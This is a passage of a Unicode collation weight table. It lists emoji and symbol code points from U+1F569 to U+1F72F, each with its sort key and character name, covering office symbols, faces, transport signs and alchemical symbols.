# RIGHT SPEAKER +1F569 ; [*14EC.0020.0002] # RIGHT SPEAKER WITH ONE SOUND WAVE +1F56A ; [*14ED.0020.0002] # RIGHT SPEAKER WITH THREE SOUND WAVES +1F56B ; [*14EE.0020.0002] # BULLHORN +1F56C ; [*14EF.0020.0002] # BULLHORN WITH SOUND WAVES +1F56D ; [*14F0.0020.0002] # RINGING BELL +1F56E ; [*14F1.0020.0002] # BOOK +1F56F ; [*14F2.0020.0002] # CANDLE +1F570 ; [*14F3.0020.0002] # MANTELPIECE CLOCK +1F571 ; [*14F4.0020.0002] # BLACK SKULL AND CROSSBONES +1F572 ; [*14F5.0020.0002] # NO PIRACY +1F573 ; [*14F6.0020.0002] # HOLE +1F574 ; [*14F7.0020.0002] # MAN IN BUSINESS SUIT LEVITATING +1F575 ; [*14F8.0020.0002] # SLEUTH OR SPY +1F576 ; [*14F9.0020.0002] # DARK SUNGLASSES +1F577 ; [*14FA.0020.0002] # SPIDER +1F578 ; [*14FB.0020.0002] # SPIDER WEB +1F579 ; [*14FC.0020.0002] # JOYSTICK +1F57B ; [*14FD.0020.0002] # LEFT HAND TELEPHONE RECEIVER +1F57C ; [*14FE.0020.0002] # TELEPHONE RECEIVER WITH PAGE +1F57D ; [*14FF.0020.0002] # RIGHT HAND TELEPHONE RECEIVER +1F57E ; [*1500.0020.0002] # WHITE TOUCHTONE TELEPHONE +1F57F ; [*1501.0020.0002] # BLACK TOUCHTONE TELEPHONE +1F580 ; [*1502.0020.0002] # TELEPHONE ON TOP OF MODEM +1F581 ; [*1503.0020.0002] # CLAMSHELL MOBILE PHONE +1F582 ; [*1504.0020.0002] # BACK OF ENVELOPE +1F583 ; [*1505.0020.0002] # STAMPED ENVELOPE +1F584 ; [*1506.0020.0002] # ENVELOPE WITH LIGHTNING +1F585 ; [*1507.0020.0002] # FLYING ENVELOPE +1F586 ; [*1508.0020.0002] # PEN OVER STAMPED ENVELOPE +1F587 ; [*1509.0020.0002] # LINKED PAPERCLIPS +1F588 ; [*150A.0020.0002] # BLACK PUSHPIN +1F589 ; [*150B.0020.0002] # LOWER LEFT PENCIL +1F58A ; [*150C.0020.0002] # LOWER LEFT BALLPOINT PEN +1F58B ; [*150D.0020.0002] # LOWER LEFT FOUNTAIN PEN +1F58C ; [*150E.0020.0002] # LOWER LEFT PAINTBRUSH +1F58D ; [*150F.0020.0002] # LOWER LEFT CRAYON +1F58E ; [*1510.0020.0002] # LEFT WRITING HAND +1F58F ; [*1511.0020.0002] # TURNED OK HAND SIGN +1F590 ; [*1512.0020.0002] # RAISED HAND WITH FINGERS SPLAYED +1F591 ; [*1513.0020.0002] # REVERSED RAISED HAND WITH FINGERS SPLAYED +1F592 ; [*1514.0020.0002] # REVERSED THUMBS UP SIGN +1F593 ; [*1515.0020.0002] # REVERSED THUMBS DOWN SIGN +1F594 ; [*1516.0020.0002] # REVERSED VICTORY HAND +1F595 ; [*1517.0020.0002] # REVERSED HAND WITH MIDDLE FINGER EXTENDED +1F596 ; [*1518.0020.0002] # RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS +1F597 ; [*1519.0020.0002] # WHITE DOWN POINTING LEFT HAND INDEX +1F598 ; [*151A.0020.0002] # SIDEWAYS WHITE LEFT POINTING INDEX +1F599 ; [*151B.0020.0002] # SIDEWAYS WHITE RIGHT POINTING INDEX +1F59A ; [*151C.0020.0002] # SIDEWAYS BLACK LEFT POINTING INDEX +1F59B ; [*151D.0020.0002] # SIDEWAYS BLACK RIGHT POINTING INDEX +1F59C ; [*151E.0020.0002] # BLACK LEFT POINTING BACKHAND INDEX +1F59D ; [*151F.0020.0002] # BLACK RIGHT POINTING BACKHAND INDEX +1F59E ; [*1520.0020.0002] # SIDEWAYS WHITE UP POINTING INDEX +1F59F ; [*1521.0020.0002] # SIDEWAYS WHITE DOWN POINTING INDEX +1F5A0 ; [*1522.0020.0002] # SIDEWAYS BLACK UP POINTING INDEX +1F5A1 ; [*1523.0020.0002] # SIDEWAYS BLACK DOWN POINTING INDEX +1F5A2 ; [*1524.0020.0002] # BLACK UP POINTING BACKHAND INDEX +1F5A3 ; [*1525.0020.0002] # BLACK DOWN POINTING BACKHAND INDEX +1F5A5 ; [*1526.0020.0002] # DESKTOP COMPUTER +1F5A6 ; [*1527.0020.0002] # KEYBOARD AND MOUSE +1F5A7 ; [*1528.0020.0002] # THREE NETWORKED COMPUTERS +1F5A8 ; [*1529.0020.0002] # PRINTER +1F5A9 ; [*152A.0020.0002] # POCKET CALCULATOR +1F5AA ; [*152B.0020.0002] # BLACK HARD SHELL FLOPPY DISK +1F5AB ; [*152C.0020.0002] # WHITE HARD SHELL FLOPPY DISK +1F5AC ; [*152D.0020.0002] # SOFT SHELL FLOPPY DISK +1F5AD ; [*152E.0020.0002] # TAPE CARTRIDGE +1F5AE ; [*152F.0020.0002] # WIRED KEYBOARD +1F5AF ; [*1530.0020.0002] # ONE BUTTON MOUSE +1F5B0 ; [*1531.0020.0002] # TWO BUTTON MOUSE +1F5B1 ; [*1532.0020.0002] # THREE BUTTON MOUSE +1F5B2 ; [*1533.0020.0002] # TRACKBALL +1F5B3 ; [*1534.0020.0002] # OLD PERSONAL COMPUTER +1F5B4 ; [*1535.0020.0002] # HARD DISK +1F5B5 ; [*1536.0020.0002] # SCREEN +1F5B6 ; [*1537.0020.0002] # PRINTER ICON +1F5B7 ; [*1538.0020.0002] # FAX ICON +1F5B8 ; [*1539.0020.0002] # OPTICAL DISC ICON +1F5B9 ; [*153A.0020.0002] # DOCUMENT WITH TEXT +1F5BA ; [*153B.0020.0002] # DOCUMENT WITH TEXT AND PICTURE +1F5BB ; [*153C.0020.0002] # DOCUMENT WITH PICTURE +1F5BC ; [*153D.0020.0002] # FRAME WITH PICTURE +1F5BD ; [*153E.0020.0002] # FRAME WITH TILES +1F5BE ; [*153F.0020.0002] # FRAME WITH AN X +1F5BF ; [*1540.0020.0002] # BLACK FOLDER +1F5C0 ; [*1541.0020.0002] # FOLDER +1F5C1 ; [*1542.0020.0002] # OPEN FOLDER +1F5C2 ; [*1543.0020.0002] # CARD INDEX DIVIDERS +1F5C3 ; [*1544.0020.0002] # CARD FILE BOX +1F5C4 ; [*1545.0020.0002] # FILE CABINET +1F5C5 ; [*1546.0020.0002] # EMPTY NOTE +1F5C6 ; [*1547.0020.0002] # EMPTY NOTE PAGE +1F5C7 ; [*1548.0020.0002] # EMPTY NOTE PAD +1F5C8 ; [*1549.0020.0002] # NOTE +1F5C9 ; [*154A.0020.0002] # NOTE PAGE +1F5CA ; [*154B.0020.0002] # NOTE PAD +1F5CB ; [*154C.0020.0002] # EMPTY DOCUMENT +1F5CC ; [*154D.0020.0002] # EMPTY PAGE +1F5CD ; [*154E.0020.0002] # EMPTY PAGES +1F5CE ; [*154F.0020.0002] # DOCUMENT +1F5CF ; [*1550.0020.0002] # PAGE +1F5D0 ; [*1551.0020.0002] # PAGES +1F5D1 ; [*1552.0020.0002] # WASTEBASKET +1F5D2 ; [*1553.0020.0002] # SPIRAL NOTE PAD +1F5D3 ; [*1554.0020.0002] # SPIRAL CALENDAR PAD +1F5D4 ; [*1555.0020.0002] # DESKTOP WINDOW +1F5D5 ; [*1556.0020.0002] # MINIMIZE +1F5D6 ; [*1557.0020.0002] # MAXIMIZE +1F5D7 ; [*1558.0020.0002] # OVERLAP +1F5D8 ; [*1559.0020.0002] # CLOCKWISE RIGHT AND LEFT SEMICIRCLE ARROWS +1F5D9 ; [*155A.0020.0002] # CANCELLATION X +1F5DA ; [*155B.0020.0002] # INCREASE FONT SIZE SYMBOL +1F5DB ; [*155C.0020.0002] # DECREASE FONT SIZE SYMBOL +1F5DC ; [*155D.0020.0002] # COMPRESSION +1F5DD ; [*155E.0020.0002] # OLD KEY +1F5DE ; [*155F.0020.0002] # ROLLED-UP NEWSPAPER +1F5DF ; [*1560.0020.0002] # PAGE WITH CIRCLED TEXT +1F5E0 ; [*1561.0020.0002] # STOCK CHART +1F5E1 ; [*1562.0020.0002] # DAGGER KNIFE +1F5E2 ; [*1563.0020.0002] # LIPS +1F5E3 ; [*1564.0020.0002] # SPEAKING HEAD IN SILHOUETTE +1F5E4 ; [*1565.0020.0002] # THREE RAYS ABOVE +1F5E5 ; [*1566.0020.0002] # THREE RAYS BELOW +1F5E6 ; [*1567.0020.0002] # THREE RAYS LEFT +1F5E7 ; [*1568.0020.0002] # THREE RAYS RIGHT +1F5E8 ; [*1569.0020.0002] # LEFT SPEECH BUBBLE +1F5E9 ; [*156A.0020.0002] # RIGHT SPEECH BUBBLE +1F5EA ; [*156B.0020.0002] # TWO SPEECH BUBBLES +1F5EB ; [*156C.0020.0002] # THREE SPEECH BUBBLES +1F5EC ; [*156D.0020.0002] # LEFT THOUGHT BUBBLE +1F5ED ; [*156E.0020.0002] # RIGHT THOUGHT BUBBLE +1F5EE ; [*156F.0020.0002] # LEFT ANGER BUBBLE +1F5EF ; [*1570.0020.0002] # RIGHT ANGER BUBBLE +1F5F0 ; [*1571.0020.0002] # MOOD BUBBLE +1F5F1 ; [*1572.0020.0002] # LIGHTNING MOOD BUBBLE +1F5F2 ; [*1573.0020.0002] # LIGHTNING MOOD +1F5F3 ; [*1574.0020.0002] # BALLOT BOX WITH BALLOT +1F5F4 ; [*1575.0020.0002] # BALLOT SCRIPT X +1F5F5 ; [*1576.0020.0002] # BALLOT BOX WITH SCRIPT X +1F5F6 ; [*1577.0020.0002] # BALLOT BOLD SCRIPT X +1F5F7 ; [*1578.0020.0002] # BALLOT BOX WITH BOLD SCRIPT X +1F5F8 ; [*1579.0020.0002] # LIGHT CHECK MARK +1F5F9 ; [*157A.0020.0002] # BALLOT BOX WITH BOLD CHECK +1F5FA ; [*157B.0020.0002] # WORLD MAP +1F5FB ; [*157C.0020.0002] # MOUNT FUJI +1F5FC ; [*157D.0020.0002] # TOKYO TOWER +1F5FD ; [*157E.0020.0002] # STATUE OF LIBERTY +1F5FE ; [*157F.0020.0002] # SILHOUETTE OF JAPAN +1F5FF ; [*1580.0020.0002] # MOYAI +1F600 ; [*1590.0020.0002] # GRINNING FACE +1F601 ; [*1591.0020.0002] # GRINNING FACE WITH SMILING EYES +1F602 ; [*1592.0020.0002] # FACE WITH TEARS OF JOY +1F603 ; [*1593.0020.0002] # SMILING FACE WITH OPEN MOUTH +1F604 ; [*1594.0020.0002] # SMILING FACE WITH OPEN MOUTH AND SMILING EYES +1F605 ; [*1595.0020.0002] # SMILING FACE WITH OPEN MOUTH AND COLD SWEAT +1F606 ; [*1596.0020.0002] # SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES +1F607 ; [*1597.0020.0002] # SMILING FACE WITH HALO +1F608 ; [*1598.0020.0002] # SMILING FACE WITH HORNS +1F609 ; [*1599.0020.0002] # WINKING FACE +1F60A ; [*159A.0020.0002] # SMILING FACE WITH SMILING EYES +1F60B ; [*159B.0020.0002] # FACE SAVOURING DELICIOUS FOOD +1F60C ; [*159C.0020.0002] # RELIEVED FACE +1F60D ; [*159D.0020.0002] # SMILING FACE WITH HEART-SHAPED EYES +1F60E ; [*159E.0020.0002] # SMILING FACE WITH SUNGLASSES +1F60F ; [*159F.0020.0002] # SMIRKING FACE +1F610 ; [*15A0.0020.0002] # NEUTRAL FACE +1F611 ; [*15A1.0020.0002] # EXPRESSIONLESS FACE +1F612 ; [*15A2.0020.0002] # UNAMUSED FACE +1F613 ; [*15A3.0020.0002] # FACE WITH COLD SWEAT +1F614 ; [*15A4.0020.0002] # PENSIVE FACE +1F615 ; [*15A5.0020.0002] # CONFUSED FACE +1F616 ; [*15A6.0020.0002] # CONFOUNDED FACE +1F617 ; [*15A7.0020.0002] # KISSING FACE +1F618 ; [*15A8.0020.0002] # FACE THROWING A KISS +1F619 ; [*15A9.0020.0002] # KISSING FACE WITH SMILING EYES +1F61A ; [*15AA.0020.0002] # KISSING FACE WITH CLOSED EYES +1F61B ; [*15AB.0020.0002] # FACE WITH STUCK-OUT TONGUE +1F61C ; [*15AC.0020.0002] # FACE WITH STUCK-OUT TONGUE AND WINKING EYE +1F61D ; [*15AD.0020.0002] # FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES +1F61E ; [*15AE.0020.0002] # DISAPPOINTED FACE +1F61F ; [*15AF.0020.0002] # WORRIED FACE +1F620 ; [*15B0.0020.0002] # ANGRY FACE +1F621 ; [*15B1.0020.0002] # POUTING FACE +1F622 ; [*15B2.0020.0002] # CRYING FACE +1F623 ; [*15B3.0020.0002] # PERSEVERING FACE +1F624 ; [*15B4.0020.0002] # FACE WITH LOOK OF TRIUMPH +1F625 ; [*15B5.0020.0002] # DISAPPOINTED BUT RELIEVED FACE +1F626 ; [*15B6.0020.0002] # FROWNING FACE WITH OPEN MOUTH +1F627 ; [*15B7.0020.0002] # ANGUISHED FACE +1F628 ; [*15B8.0020.0002] # FEARFUL FACE +1F629 ; [*15B9.0020.0002] # WEARY FACE +1F62A ; [*15BA.0020.0002] # SLEEPY FACE +1F62B ; [*15BB.0020.0002] # TIRED FACE +1F62C ; [*15BC.0020.0002] # GRIMACING FACE +1F62D ; [*15BD.0020.0002] # LOUDLY CRYING FACE +1F62E ; [*15BE.0020.0002] # FACE WITH OPEN MOUTH +1F62F ; [*15BF.0020.0002] # HUSHED FACE +1F630 ; [*15C0.0020.0002] # FACE WITH OPEN MOUTH AND COLD SWEAT +1F631 ; [*15C1.0020.0002] # FACE SCREAMING IN FEAR +1F632 ; [*15C2.0020.0002] # ASTONISHED FACE +1F633 ; [*15C3.0020.0002] # FLUSHED FACE +1F634 ; [*15C4.0020.0002] # SLEEPING FACE +1F635 ; [*15C5.0020.0002] # DIZZY FACE +1F636 ; [*15C6.0020.0002] # FACE WITHOUT MOUTH +1F637 ; [*15C7.0020.0002] # FACE WITH MEDICAL MASK +1F638 ; [*15C8.0020.0002] # GRINNING CAT FACE WITH SMILING EYES +1F639 ; [*15C9.0020.0002] # CAT FACE WITH TEARS OF JOY +1F63A ; [*15CA.0020.0002] # SMILING CAT FACE WITH OPEN MOUTH +1F63B ; [*15CB.0020.0002] # SMILING CAT FACE WITH HEART-SHAPED EYES +1F63C ; [*15CC.0020.0002] # CAT FACE WITH WRY SMILE +1F63D ; [*15CD.0020.0002] # KISSING CAT FACE WITH CLOSED EYES +1F63E ; [*15CE.0020.0002] # POUTING CAT FACE +1F63F ; [*15CF.0020.0002] # CRYING CAT FACE +1F640 ; [*15D0.0020.0002] # WEARY CAT FACE +1F641 ; [*15D1.0020.0002] # SLIGHTLY FROWNING FACE +1F642 ; [*15D2.0020.0002] # SLIGHTLY SMILING FACE +1F643 ; [*15D3.0020.0002] # UPSIDE-DOWN FACE +1F644 ; [*15D4.0020.0002] # FACE WITH ROLLING EYES +1F645 ; [*15D5.0020.0002] # FACE WITH NO GOOD GESTURE +1F646 ; [*15D6.0020.0002] # FACE WITH OK GESTURE +1F647 ; [*15D7.0020.0002] # PERSON BOWING DEEPLY +1F648 ; [*15D8.0020.0002] # SEE-NO-EVIL MONKEY +1F649 ; [*15D9.0020.0002] # HEAR-NO-EVIL MONKEY +1F64A ; [*15DA.0020.0002] # SPEAK-NO-EVIL MONKEY +1F64B ; [*15DB.0020.0002] # HAPPY PERSON RAISING ONE HAND +1F64C ; [*15DC.0020.0002] # PERSON RAISING BOTH HANDS IN CELEBRATION +1F64D ; [*15DD.0020.0002] # PERSON FROWNING +1F64E ; [*15DE.0020.0002] # PERSON WITH POUTING FACE +1F64F ; [*15DF.0020.0002] # PERSON WITH FOLDED HANDS +1F650 ; [*15E0.0020.0002] # NORTH WEST POINTING LEAF +1F651 ; [*15E1.0020.0002] # SOUTH WEST POINTING LEAF +1F652 ; [*15E2.0020.0002] # NORTH EAST POINTING LEAF +1F653 ; [*15E3.0020.0002] # SOUTH EAST POINTING LEAF +1F654 ; [*15E4.0020.0002] # TURNED NORTH WEST POINTING LEAF +1F655 ; [*15E5.0020.0002] # TURNED SOUTH WEST POINTING LEAF +1F656 ; [*15E6.0020.0002] # TURNED NORTH EAST POINTING LEAF +1F657 ; [*15E7.0020.0002] # TURNED SOUTH EAST POINTING LEAF +1F658 ; [*15E8.0020.0002] # NORTH WEST POINTING VINE LEAF +1F659 ; [*15E9.0020.0002] # SOUTH WEST POINTING VINE LEAF +1F65A ; [*15EA.0020.0002] # NORTH EAST POINTING VINE LEAF +1F65B ; [*15EB.0020.0002] # SOUTH EAST POINTING VINE LEAF +1F65C ; [*15EC.0020.0002] # HEAVY NORTH WEST POINTING VINE LEAF +1F65D ; [*15ED.0020.0002] # HEAVY SOUTH WEST POINTING VINE LEAF +1F65E ; [*15EE.0020.0002] # HEAVY NORTH EAST POINTING VINE LEAF +1F65F ; [*15EF.0020.0002] # HEAVY SOUTH EAST POINTING VINE LEAF +1F660 ; [*15F0.0020.0002] # NORTH WEST POINTING BUD +1F661 ; [*15F1.0020.0002] # SOUTH WEST POINTING BUD +1F662 ; [*15F2.0020.0002] # NORTH EAST POINTING BUD +1F663 ; [*15F3.0020.0002] # SOUTH EAST POINTING BUD +1F664 ; [*15F4.0020.0002] # HEAVY NORTH WEST POINTING BUD +1F665 ; [*15F5.0020.0002] # HEAVY SOUTH WEST POINTING BUD +1F666 ; [*15F6.0020.0002] # HEAVY NORTH EAST POINTING BUD +1F667 ; [*15F7.0020.0002] # HEAVY SOUTH EAST POINTING BUD +1F668 ; [*15F8.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT +1F669 ; [*15F9.0020.0002] # HOLLOW QUILT SQUARE ORNAMENT IN BLACK SQUARE +1F66A ; [*15FA.0020.0002] # SOLID QUILT SQUARE ORNAMENT +1F66B ; [*15FB.0020.0002] # SOLID QUILT SQUARE ORNAMENT IN BLACK SQUARE +1F66C ; [*15FC.0020.0002] # LEFTWARDS ROCKET +1F66D ; [*15FD.0020.0002] # UPWARDS ROCKET +1F66E ; [*15FE.0020.0002] # RIGHTWARDS ROCKET +1F66F ; [*15FF.0020.0002] # DOWNWARDS ROCKET +1F670 ; [*1600.0020.0002] # SCRIPT LIGATURE ET ORNAMENT +1F671 ; [*1601.0020.0002] # HEAVY SCRIPT LIGATURE ET ORNAMENT +1F672 ; [*1602.0020.0002] # LIGATURE OPEN ET ORNAMENT +1F673 ; [*1603.0020.0002] # HEAVY LIGATURE OPEN ET ORNAMENT +1F674 ; [*1604.0020.0002] # HEAVY AMPERSAND ORNAMENT +1F675 ; [*1605.0020.0002] # SWASH AMPERSAND ORNAMENT +1F676 ; [*1606.0020.0002] # SANS-SERIF HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT +1F677 ; [*1607.0020.0002] # SANS-SERIF HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT +1F678 ; [*1608.0020.0002] # SANS-SERIF HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT +1F679 ; [*1609.0020.0002] # HEAVY INTERROBANG ORNAMENT +1F67A ; [*160A.0020.0002] # SANS-SERIF INTERROBANG ORNAMENT +1F67B ; [*160B.0020.0002] # HEAVY SANS-SERIF INTERROBANG ORNAMENT +1F67C ; [*160C.0020.0002] # VERY HEAVY SOLIDUS +1F67D ; [*160D.0020.0002] # VERY HEAVY REVERSE SOLIDUS +1F67E ; [*160E.0020.0002] # CHECKER BOARD +1F67F ; [*160F.0020.0002] # REVERSE CHECKER BOARD +1F680 ; [*1610.0020.0002] # ROCKET +1F681 ; [*1611.0020.0002] # HELICOPTER +1F682 ; [*1612.0020.0002] # STEAM LOCOMOTIVE +1F683 ; [*1613.0020.0002] # RAILWAY CAR +1F684 ; [*1614.0020.0002] # HIGH-SPEED TRAIN +1F685 ; [*1615.0020.0002] # HIGH-SPEED TRAIN WITH BULLET NOSE +1F686 ; [*1616.0020.0002] # TRAIN +1F687 ; [*1617.0020.0002] # METRO +1F688 ; [*1618.0020.0002] # LIGHT RAIL +1F689 ; [*1619.0020.0002] # STATION +1F68A ; [*161A.0020.0002] # TRAM +1F68B ; [*161B.0020.0002] # TRAM CAR +1F68C ; [*161C.0020.0002] # BUS +1F68D ; [*161D.0020.0002] # ONCOMING BUS +1F68E ; [*161E.0020.0002] # TROLLEYBUS +1F68F ; [*161F.0020.0002] # BUS STOP +1F690 ; [*1620.0020.0002] # MINIBUS +1F691 ; [*1621.0020.0002] # AMBULANCE +1F692 ; [*1622.0020.0002] # FIRE ENGINE +1F693 ; [*1623.0020.0002] # POLICE CAR +1F694 ; [*1624.0020.0002] # ONCOMING POLICE CAR +1F695 ; [*1625.0020.0002] # TAXI +1F696 ; [*1626.0020.0002] # ONCOMING TAXI +1F697 ; [*1627.0020.0002] # AUTOMOBILE +1F698 ; [*1628.0020.0002] # ONCOMING AUTOMOBILE +1F699 ; [*1629.0020.0002] # RECREATIONAL VEHICLE +1F69A ; [*162A.0020.0002] # DELIVERY TRUCK +1F69B ; [*162B.0020.0002] # ARTICULATED LORRY +1F69C ; [*162C.0020.0002] # TRACTOR +1F69D ; [*162D.0020.0002] # MONORAIL +1F69E ; [*162E.0020.0002] # MOUNTAIN RAILWAY +1F69F ; [*162F.0020.0002] # SUSPENSION RAILWAY +1F6A0 ; [*1630.0020.0002] # MOUNTAIN CABLEWAY +1F6A1 ; [*1631.0020.0002] # AERIAL TRAMWAY +1F6A2 ; [*1632.0020.0002] # SHIP +1F6A3 ; [*1633.0020.0002] # ROWBOAT +1F6A4 ; [*1634.0020.0002] # SPEEDBOAT +1F6A5 ; [*1635.0020.0002] # HORIZONTAL TRAFFIC LIGHT +1F6A6 ; [*1636.0020.0002] # VERTICAL TRAFFIC LIGHT +1F6A7 ; [*1637.0020.0002] # CONSTRUCTION SIGN +1F6A8 ; [*1638.0020.0002] # POLICE CARS REVOLVING LIGHT +1F6A9 ; [*1639.0020.0002] # TRIANGULAR FLAG ON POST +1F6AA ; [*163A.0020.0002] # DOOR +1F6AB ; [*163B.0020.0002] # NO ENTRY SIGN +1F6AC ; [*163C.0020.0002] # SMOKING SYMBOL +1F6AD ; [*163D.0020.0002] # NO SMOKING SYMBOL +1F6AE ; [*163E.0020.0002] # PUT LITTER IN ITS PLACE SYMBOL +1F6AF ; [*163F.0020.0002] # DO NOT LITTER SYMBOL +1F6B0 ; [*1640.0020.0002] # POTABLE WATER SYMBOL +1F6B1 ; [*1641.0020.0002] # NON-POTABLE WATER SYMBOL +1F6B2 ; [*1642.0020.0002] # BICYCLE +1F6B3 ; [*1643.0020.0002] # NO BICYCLES +1F6B4 ; [*1644.0020.0002] # BICYCLIST +1F6B5 ; [*1645.0020.0002] # MOUNTAIN BICYCLIST +1F6B6 ; [*1646.0020.0002] # PEDESTRIAN +1F6B7 ; [*1647.0020.0002] # NO PEDESTRIANS +1F6B8 ; [*1648.0020.0002] # CHILDREN CROSSING +1F6B9 ; [*1649.0020.0002] # MENS SYMBOL +1F6BA ; [*164A.0020.0002] # WOMENS SYMBOL +1F6BB ; [*164B.0020.0002] # RESTROOM +1F6BC ; [*164C.0020.0002] # BABY SYMBOL +1F6BD ; [*164D.0020.0002] # TOILET +1F6BE ; [*164E.0020.0002] # WATER CLOSET +1F6BF ; [*164F.0020.0002] # SHOWER +1F6C0 ; [*1650.0020.0002] # BATH +1F6C1 ; [*1651.0020.0002] # BATHTUB +1F6C2 ; [*1652.0020.0002] # PASSPORT CONTROL +1F6C3 ; [*1653.0020.0002] # CUSTOMS +1F6C4 ; [*1654.0020.0002] # BAGGAGE CLAIM +1F6C5 ; [*1655.0020.0002] # LEFT LUGGAGE +1F6C6 ; [*1656.0020.0002] # TRIANGLE WITH ROUNDED CORNERS +1F6C7 ; [*1657.0020.0002] # PROHIBITED SIGN +1F6C8 ; [*1658.0020.0002] # CIRCLED INFORMATION SOURCE +1F6C9 ; [*1659.0020.0002] # BOYS SYMBOL +1F6CA ; [*165A.0020.0002] # GIRLS SYMBOL +1F6CB ; [*165B.0020.0002] # COUCH AND LAMP +1F6CC ; [*165C.0020.0002] # SLEEPING ACCOMMODATION +1F6CD ; [*165D.0020.0002] # SHOPPING BAGS +1F6CE ; [*165E.0020.0002] # BELLHOP BELL +1F6CF ; [*165F.0020.0002] # BED +1F6D0 ; [*1660.0020.0002] # PLACE OF WORSHIP +1F6E0 ; [*1661.0020.0002] # HAMMER AND WRENCH +1F6E1 ; [*1662.0020.0002] # SHIELD +1F6E2 ; [*1663.0020.0002] # OIL DRUM +1F6E3 ; [*1664.0020.0002] # MOTORWAY +1F6E4 ; [*1665.0020.0002] # RAILWAY TRACK +1F6E5 ; [*1666.0020.0002] # MOTOR BOAT +1F6E6 ; [*1667.0020.0002] # UP-POINTING MILITARY AIRPLANE +1F6E7 ; [*1668.0020.0002] # UP-POINTING AIRPLANE +1F6E8 ; [*1669.0020.0002] # UP-POINTING SMALL AIRPLANE +1F6E9 ; [*166A.0020.0002] # SMALL AIRPLANE +1F6EA ; [*166B.0020.0002] # NORTHEAST-POINTING AIRPLANE +1F6EB ; [*166C.0020.0002] # AIRPLANE DEPARTURE +1F6EC ; [*166D.0020.0002] # AIRPLANE ARRIVING +1F6F0 ; [*166E.0020.0002] # SATELLITE +1F6F1 ; [*166F.0020.0002] # ONCOMING FIRE ENGINE +1F6F2 ; [*1670.0020.0002] # DIESEL LOCOMOTIVE +1F6F3 ; [*1671.0020.0002] # PASSENGER SHIP +1F700 ; [*1672.0020.0002] # ALCHEMICAL SYMBOL FOR QUINTESSENCE +1F701 ; [*1673.0020.0002] # ALCHEMICAL SYMBOL FOR AIR +1F702 ; [*1674.0020.0002] # ALCHEMICAL SYMBOL FOR FIRE +1F703 ; [*1675.0020.0002] # ALCHEMICAL SYMBOL FOR EARTH +1F704 ; [*1676.0020.0002] # ALCHEMICAL SYMBOL FOR WATER +1F705 ; [*1677.0020.0002] # ALCHEMICAL SYMBOL FOR AQUAFORTIS +1F706 ; [*1678.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA +1F707 ; [*1679.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA-2 +1F708 ; [*167A.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE +1F709 ; [*167B.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE-2 +1F70A ; [*167C.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR +1F70B ; [*167D.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-2 +1F70C ; [*167E.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-3 +1F70D ; [*167F.0020.0002] # ALCHEMICAL SYMBOL FOR SULFUR +1F70E ; [*1680.0020.0002] # ALCHEMICAL SYMBOL FOR PHILOSOPHERS SULFUR +1F70F ; [*1681.0020.0002] # ALCHEMICAL SYMBOL FOR BLACK SULFUR +1F710 ; [*1682.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE +1F711 ; [*1683.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-2 +1F712 ; [*1684.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-3 +1F713 ; [*1685.0020.0002] # ALCHEMICAL SYMBOL FOR CINNABAR +1F714 ; [*1686.0020.0002] # ALCHEMICAL SYMBOL FOR SALT +1F715 ; [*1687.0020.0002] # ALCHEMICAL SYMBOL FOR NITRE +1F716 ; [*1688.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL +1F717 ; [*1689.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL-2 +1F718 ; [*168A.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT +1F719 ; [*168B.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT-2 +1F71A ; [*168C.0020.0002] # ALCHEMICAL SYMBOL FOR GOLD +1F71B ; [*168D.0020.0002] # ALCHEMICAL SYMBOL FOR SILVER +1F71C ; [*168E.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE +1F71D ; [*168F.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE-2 +1F71E ; [*1690.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF IRON +1F71F ; [*1691.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF IRON +1F720 ; [*1692.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ORE +1F721 ; [*1693.0020.0002] # ALCHEMICAL SYMBOL FOR IRON-COPPER ORE +1F722 ; [*1694.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF COPPER +1F723 ; [*1695.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER +1F724 ; [*1696.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER-2 +1F725 ; [*1697.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ANTIMONIATE +1F726 ; [*1698.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF COPPER ANTIMONIATE +1F727 ; [*1699.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF COPPER +1F728 ; [*169A.0020.0002] # ALCHEMICAL SYMBOL FOR VERDIGRIS +1F729 ; [*169B.0020.0002] # ALCHEMICAL SYMBOL FOR TIN ORE +1F72A ; [*169C.0020.0002] # ALCHEMICAL SYMBOL FOR LEAD ORE +1F72B ; [*169D.0020.0002] # ALCHEMICAL SYMBOL FOR ANTIMONY ORE +1F72C ; [*169E.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF ANTIMONY +1F72D ; [*169F.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF ANTIMONY +1F72E ; [*16A0.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF ANTIMONY +1F72F ; [*16A1.0020.0002] # ALCHEMICAL SYMBOL FOR 